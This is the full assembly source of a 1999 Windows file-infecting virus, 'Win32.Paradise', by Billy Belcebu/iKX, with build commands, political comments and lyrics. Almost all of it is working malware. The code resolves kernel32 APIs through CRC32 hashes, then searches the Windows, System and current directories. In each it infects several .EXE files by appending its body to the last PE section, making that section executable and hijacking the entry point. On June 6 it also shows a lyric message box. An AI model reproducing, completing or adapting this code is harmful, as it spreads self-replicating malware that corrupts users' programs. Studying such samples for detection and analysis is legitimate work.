; [Win32.Paradise] - Bugfixed and improved version of Iced Earth ; Copyright (c) 1999 by Billy Belcebu/iKX ; ; ?????? Welcome to another Billy's production. ; ???? ??????? ??? Enjoy this new... ; ???????????????????? ; ? ???????????????? ??? ; ? ????????????? ? ; ??????? ?? ?????? ??? ??? ????? ??? ??? ?????? ?????? ; ??????? ?? ?? ???? ? ??? ? ?? ?? ? ??? ? ??????? ??????? ; ? ? ?? ? ? ??? ? ?? ?? ? ??? ? ??????? ??????? ??? ; ?? ??????? ????? ??????? ??????? ??????? ??? ; ?? ??? ??????? ??????? ??????? ??????? ?????? ????? ??????? ??????? ; ??????????? ? ??? ? ? ??? ? ? ??? ? ? ??? ? ? ?? ?? ?? ?? ? ????? ? ????? ; ????? ?? ???? ? ????? ? ??? ? ? ? ??? ? ??? ? ? ??? ? ?? ?? ????? ? ? ????? ; ??? ??? ??? ??????? ??? ??? ??????? ????? ??????? ??????? ; ; Virus Name : Paradise ; Virus Author : Billy Belcebu/iKX ; Origin : Spain ; Platform : Win32 ; Target : PE files ; Compiling : TASM 5.0 and TLINK 5.0 should be used ; tasm32 /ml /m3 paradise,,; ; tlink32 /Tpe /aa /c /v paradise,paradise,,import32.lib, ; Notes : Not very innovative, just made for practice some things, as ; CRC32 GetAPI engine, and such like. The name comes from one ; of the best songs i've ever heard, and probably my favouri- ; te song of Stratovarius. Its lyrics are, sadly, an actual ; reality: we are killing the nature slowly and without any ; kind of mercy, thinking that we can make any use of every- ; thing around without any responsability... ; Greetings : It is very clear... to all the Stratovaius fans (specially ; to Int13h and Owl) and all the ecologist activists. ; Fucks : To everything related to the bullfights, the greatest act ; of the human barbarism with the animals, the spanish's ; national shame; and to all the acts that go againist the ; rights of the animals and/or the vegetables, as well as ; with the persons (goddamn fascisms!). ; ; Rojo, sangre ; un color muy nacional ; morbo, suerte ; sol y arena pide Dios ; arte, muerte ; sirve de alimento ; pase, valiente, ; y vuelta al ruedo!!! ; Cuando el acero me traspasa el corazon ; y se le llama fiesta ; y otra vuelta de tuerca ; cuando el sadismo se convierte en tradicion ; y la faena en gesta ; y nadie se molesta ; -Reincidentes- ; .586p .model flat ; ??----?????? ? ; : Paradise virus - Data, macros and such like shit : ; ? ??????---??? extrn MessageBoxA:PROC extrn ExitProcess:PROC virus_size equ (offset virus_end-offset virus_start) heap_size equ (offset heap_end-offset heap_start) total_size equ virus_size+heap_size shit_size equ (offset delta-offset Paradise) section_flags equ 00000020h or 20000000h or 80000000h temp_attributes equ 00000080h n_infections equ 04h mark equ 04Ch ; Only hardcoded for 1st generation, don't worry ;) kernel_ equ 0BFF70000h kernel_wNT equ 077F00000h ; Interesting macros for my code cmp_ macro reg,joff1 ; Optimized version of inc reg ; CMP reg,0FFFFFFFFh jz joff1 ; JZ joff1 dec reg ; The code is reduced in 3 endm ; bytes (7-4) apicall macro apioff ; Optimize muthafucka! call dword ptr [ebp+apioff] endm .data szTitle db "Paradise v1.00",0 szMessage db "Paradise - Visions - Stratovarius",10 db "Virus size............" db virus_size/1000 mod 10 + "0" db virus_size/0100 mod 10 + "0" db virus_size/0010 mod 10 + "0" db virus_size/0001 mod 10 + "0" db " bytes",0 db "Copyright (c) 1999 by Billy Belcebu/iKX",0 .code ; ??----?????? ? ; : Paradise virus - Virus startz here : ; ? ??????---??? virus_start label byte Paradise: pushad ; Push all da shit pushfd call delta_ ; Hardest code to undestand ;) delta: db "[iKX4EVER" ; Yeah... iKX :) delta_: pop ebp mov eax,ebp sub ebp,offset delta sub eax,shit_size ; Obtain at runtime the sub eax,00001000h ; imagebase of the process NewEIP equ $-4 mov dword ptr [ebp+ModBase],eax call ChangeSEH ; SEH rlz :) mov esp,[esp+08h] jmp RestoreSEH ChangeSEH: xor ebx,ebx push dword ptr fs:[ebx] mov fs:[ebx],esp mov esi,[esp+2Ch] ; Get program return address and esi,0FFFF0000h ; Align to page mov ecx,5 call GetK32 mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address lea esi,[ebp+@@NamezCRC32] lea edi,[ebp+@@Offsetz] call GetAPIs ; Retrieve all APIs call PrepareInfection call InfectItAll call payload or ebp,ebp ; Is 1st gen? jz fakehost RestoreSEH: xor ebx,ebx pop dword ptr fs:[ebx] pop eax popfd popad mov ebx,12345678h org $-4 OldEIP dd 00001000h add ebx,12345678h org $-4 ModBase dd 00400000h push ebx ret ; ??----?????? ? ; : Paradise virus - Retrieve directories to infect : ; ? ??????---??? PrepareInfection: lea edi,[ebp+WindowsDir] push 7Fh push edi apicall _GetWindowsDirectoryA add edi,7Fh push 7Fh push edi apicall _GetSystemDirectoryA add edi,7Fh push edi push 7Fh apicall _GetCurrentDirectoryA ret ; ??----?????? ? ; : Paradise virus - Infect windows, windows\system and the current dir : ; ? ??????---??? InfectItAll: lea edi,[ebp+directories] mov byte ptr [ebp+mirrormirror],dirs2inf requiem: push edi apicall _SetCurrentDirectoryA push edi call Infect pop edi add edi,7Fh dec byte ptr [ebp+mirrormirror] cmp byte ptr [ebp+mirrormirror],00h jnz requiem ret ; ??----?????? ? ; : Paradise virus - Searching... Seek and infect! : ; ? ??????---??? Infect: and dword ptr [ebp+infections],00000000h ; reset countah lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit push eax lea eax,[ebp+offset EXE_MASK] push eax apicall _FindFirstFileA cmp_ eax,FailInfect mov dword ptr [ebp+SearchHandle],eax __1: push dword ptr [ebp+ModBase] push dword ptr [ebp+OldEIP] push dword ptr [ebp+NewEIP] call Infection pop dword ptr [ebp+NewEIP] pop dword ptr [ebp+OldEIP] pop dword ptr [ebp+ModBase] inc byte ptr [ebp+infections] cmp byte ptr [ebp+infections],n_infections jz FailInfect __2: lea edi,[ebp+WFD_szFileName] mov ecx,MAX_PATH xor al,al rep stosb lea eax,[ebp+offset WIN32_FIND_DATA] push eax push dword ptr [ebp+SearchHandle] apicall _FindNextFileA or eax,eax jz CloseSearchHandle jmp __1 CloseSearchHandle: push dword ptr [ebp+SearchHandle] apicall _FindClose FailInfect: ret ; ??----?????? ? ; : Paradise virus - Infect found file : ; ? ??????---??? Infection: lea esi,[ebp+WFD_szFileName] ; Get FileName to infect push 80h push esi apicall _SetFileAttributesA ; Wipe its attributes call OpenFile ; Open it cmp_ eax,CantOpen mov dword ptr [ebp+FileHandle],eax mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with call CreateMap ; its exact size cmp_ eax,CloseFile mov dword ptr [ebp+MapHandle],eax mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call MapFile ; Map it cmp_ eax,UnMapFile mov dword ptr [ebp+MapAddress],eax mov esi,eax ; Get PE Header mov esi,[esi+3Ch] add esi,eax cmp dword ptr [esi],"EP" ; Is it PE? jnz NoInfect cmp dword ptr [esi+mark],"SDRP" ; Was it infected? jz NoInfect push dword ptr [esi+3Ch] push dword ptr [ebp+MapAddress] ; Close all apicall _UnmapViewOfFile push dword ptr [ebp+MapHandle] apicall _CloseHandle pop ecx mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again. add eax,virus_size call Align xchg ecx,eax call CreateMap cmp_ eax,CloseFile mov dword ptr [ebp+MapHandle],eax mov ecx,dword ptr [ebp+NewSize] call MapFile cmp_ eax,UnMapFile mov dword ptr [ebp+MapAddress],eax mov esi,eax ; Get PE Header mov esi,[esi+3Ch] add esi,eax mov edi,esi movzx eax,word ptr [edi+06h] dec eax imul eax,eax,28h add esi,eax add esi,78h mov edx,[edi+74h] shl edx,3 add esi,edx mov eax,[edi+28h] mov dword ptr [ebp+OldEIP],eax mov edx,[esi+10h] mov ebx,edx add edx,[esi+14h] push edx mov eax,ebx add eax,[esi+0Ch] mov [edi+28h],eax mov dword ptr [ebp+NewEIP],eax mov eax,[esi+10h] add eax,virus_size mov ecx,[edi+3Ch] call Align mov [esi+10h],eax mov [esi+08h],eax pop edx mov eax,[esi+10h] add eax,[esi+0Ch] mov [edi+50h],eax or dword ptr [esi+24h],section_flags mov dword ptr [edi+mark],"SDRP" lea esi,[ebp+Paradise] xchg edi,edx add edi,dword ptr [ebp+MapAddress] mov ecx,virus_size rep movsb jmp UnMapFile NoInfect: dec byte ptr [ebp+infections] mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call TruncFile UnMapFile: push dword ptr [ebp+MapAddress] apicall _UnmapViewOfFile CloseMap: push dword ptr [ebp+MapHandle] apicall _CloseHandle CloseFile: push dword ptr [ebp+FileHandle] apicall _CloseHandle CantOpen: push dword ptr [ebp+WFD_dwFileAttributes] lea eax,[ebp+WFD_szFileName] push eax apicall _SetFileAttributesA ret ; ??----?????? ? ; : Paradise virus - Get KERNEL32.DLL base address (simplest method) : ; ? ??????---??? GetK32 proc _@1: jecxz WeFailed cmp word ptr [esi],"ZM" jz CheckPE _@2: sub esi,10000h dec ecx jmp _@1 CheckPE: mov edi,[esi+3Ch] add edi,esi cmp dword ptr [edi],"EP" jz WeGotK32 jmp _@2 WeFailed: mov ecx,cs xor cl,cl jecxz WeAreInWNT mov esi,kernel_ jmp WeGotK32 WeAreInWNT: mov esi,kernel_wNT WeGotK32: xchg eax,esi ret GetK32 endp ; ??----?????? ? ; : Paradise virus - Get all API addresses : ; ? ??????---??? GetAPIs proc @@1: lodsd ; Get in EAX the CRC32 of API push esi push edi call GetAPI_ET_CRC32 pop edi pop esi stosd ; Save in [EDI] the API address cmp byte ptr [esi],0BBh ; Last API? jz @@4 ; Yeah, get outta here jmp @@1 ; Nein, loop again @@4: ret GetAPIs endp GetAPI_ET_CRC32 proc xor edx,edx xchg eax,edx ; Put CRC32 of da api in EDX mov word ptr [ebp+Counter],ax ; Reset counter mov esi,3Ch add esi,[ebp+kernel] ; Get PE header of KERNEL32 lodsw add eax,[ebp+kernel] ; Normalize mov esi,[eax+78h] ; Get a pointer to its add esi,1Ch ; Export Table add esi,[ebp+kernel] lea edi,[ebp+AddressTableVA] ; Pointer to the address table lodsd ; Get AddressTable value add eax,[ebp+kernel] ; Normalize stosd ; And store in its variable lodsd ; Get NameTable value add eax,[ebp+kernel] ; Normalize push eax ; Put it in stack stosd ; Store in its variable lodsd ; Get OrdinalTable value add eax,[ebp+kernel] ; Normalize stosd ; Store pop esi ; ESI = NameTable VA @?_3: push esi ; Save again lodsd ; Get pointer to an API name add eax,[ebp+kernel] ; Normalize xchg edi,eax ; Store ptr in EDI mov ebx,edi ; And in EBX push edi ; Save EDI xor al,al ; Reach the null character scasb ; that marks us the end of jnz $-1 ; the api name pop esi ; ESI = Pointer to API Name sub edi,ebx ; EDI = API Name size push edx ; Save API's CRC32 call CRC32 ; Get actual api's CRC32 pop edx ; Restore API's CRC32 cmp edx,eax ; Are them equal? jz @?_4 ; if yes, we got it pop esi ; Restore ptr to api name add esi,4 ; Get the next inc word ptr [ebp+Counter] ; And increase the counter jmp @?_3 ; Get another api! @?_4: pop esi ; Remove shit from stack movzx eax,word ptr [ebp+Counter] ; AX = Counter shl eax,1 ; *2 (it's an array of words) add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize xor esi,esi ; Clear ESI xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0 lodsw ; Get ordinal in AX shl eax,2 ; And with it we go to the add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (array of xchg esi,eax ; dwords) lodsd ; Get Address of API RVA add eax,[ebp+kernel] ; and normalize!! That's it! ret GetAPI_ET_CRC32 endp ; ??----?????? ? ; : Paradise virus - Some useful subroutines : ; ? ??????---??? Align proc push edx xor edx,edx push eax div ecx pop eax sub ecx,edx add eax,ecx pop edx ret Align endp TruncFile proc xor eax,eax push eax push eax push ecx push dword ptr [ebp+FileHandle] apicall _SetFilePointer push dword ptr [ebp+FileHandle] apicall _SetEndOfFile ret TruncFile endp OpenFile proc xor eax,eax push eax push eax push 00000003h push eax inc eax push eax push 80000000h or 40000000h push esi apicall _CreateFileA ret OpenFile endp CreateMap proc xor eax,eax push eax push ecx push eax push 00000004h push eax push dword ptr [ebp+FileHandle] apicall _CreateFileMappingA ret CreateMap endp MapFile proc xor eax,eax push ecx push eax push eax push 00000002h push dword ptr [ebp+MapHandle] apicall _MapViewOfFile ret MapFile endp CRC32 proc cld xor ecx,ecx ; Optimized by me - 2 bytes dec ecx ; less mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; Another fool byte less jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp payload proc lea eax,[ebp+SYSTEMTIME] push eax apicall _GetSystemTime cmp word ptr [ebp+ST_wMonth],6 ; On the sixth month... jnz no_payload cmp word ptr [ebp+ST_wDay],6 ; On the sixth day... jnz no_payload lea eax,[ebp+szUSER32] push eax apicall _LoadLibraryA call @?_1 db "MessageBoxA",0 @?_1: push eax apicall _GetProcAddress push 00001000h lea ebx,[ebp+mark_] push ebx lea ebx,[ebp+song] push ebx push 00000000h call eax no_payload: ret payload endp ; ??----?????? ? ; : Paradise virus - Virus data : ; ? ??????---??? mark_ db "[Win32.Paradise v1.00]",0 song db "Late at night i found myself again",10 db "wondering and watching TV",10 db "I can't believe what's on the screen",10 db "something that i wouldn't like to see",10 db "Many rare species will perish soon",10 db "and we'll be short on food",10 db "Why do we have to be so selfish",10 db "we have to change our attitude",10 db "I know that i am not",10 db "the only one that's worried",10 db "Why don't we all",10 db "wake up, and and realize",10 db "Like the birds in the sky",10 db "we are flying so high",10 db "without making anykind of sacrifice",10 db "We've got so little time",10 db "to undo this crime",10 db "or we'll lose our paradise",10 db "It seems to me that there's no sense at all",10 db "nobody cares, it's always the same",10 db "Mother nature's crying out in pain",10 db "I know we are the ones to blame",10,10 db "Paradise [ Stratovarius ]",0 db "Copyright (c) 1999 by Billy Belcebu/iKX",0 EXE_MASK db "*.EXE",0 szUSER32 db "USER32",0 @@NamezCRC32 label byte @FindFirstFileA dd 0AE17EBEFh @FindNextFileA dd 0AA700106h @FindClose dd 0C200BE21h @CreateFileA dd 08C892DDFh @DeleteFileA dd 0DE256FDEh @SetFilePointer dd 085859D42h @SetFileAttributesA dd 03C19E536h @CloseHandle dd 068624A9Dh @GetCurrentDirectoryA dd 0EBC6C18Bh @SetCurrentDirectoryA dd 0B2DBD7DCh @GetWindowsDirectoryA dd 0FE248274h @GetSystemDirectoryA dd 0593AE7CEh @CreateFileMappingA dd 096B2D96Ch @MapViewOfFile dd 0797B49ECh @UnmapViewOfFile dd 094524B42h @SetEndOfFile dd 059994ED6h @GetProcAddress dd 0FFC97C1Fh @LoadLibraryA dd 04134D1ADh @GetSystemTime dd 075B7EBE8h db 0BBh align dword virus_end label byte heap_start label byte kernel dd kernel_ infections dd 00000000h NewSize dd 00000000h SearchHandle dd 00000000h FileHandle dd 00000000h MapHandle dd 00000000h MapAddress dd 00000000h AddressTableVA dd 00000000h NameTableVA dd 00000000h OrdinalTableVA dd 00000000h Counter dw 0000h @@Offsetz label byte _FindFirstFileA dd 00000000h _FindNextFileA dd 00000000h _FindClose dd 00000000h _CreateFileA dd 00000000h _DeleteFileA dd 00000000h _SetFilePointer dd 00000000h _SetFileAttributesA dd 00000000h _CloseHandle dd 00000000h _GetCurrentDirectoryA dd 00000000h _SetCurrentDirectoryA dd 00000000h _GetWindowsDirectoryA dd 00000000h _GetSystemDirectoryA dd 00000000h _CreateFileMappingA dd 00000000h _MapViewOfFile dd 00000000h _UnmapViewOfFile dd 00000000h _SetEndOfFile dd 00000000h _GetProcAddress dd 00000000h _LoadLibraryA dd 00000000h _GetSystemTime dd 00000000h MAX_PATH equ 260 FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db MAX_PATH dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?) directories label byte WindowsDir db 7Fh dup (00h) SystemDir db 7Fh dup (00h) OriginDir db 7Fh dup (00h) dirs2inf equ (($-directories)/7Fh) mirrormirror db dirs2inf SYSTEMTIME label byte ST_wYear dw ? ST_wMonth dw ? ST_wDayOfWeek dw ? ST_wDay dw ? ST_wHour dw ? ST_wMinute dw ? ST_wSecond dw ? ST_wMilliseconds dw ? heap_end label byte fakehost: pop dword ptr fs:[0] pop eax popfd popad xor eax,eax push eax push offset szTitle push offset szMessage push eax call MessageBoxA push 00000000h call ExitProcess end Paradise ; Komandos de autodefensa animal!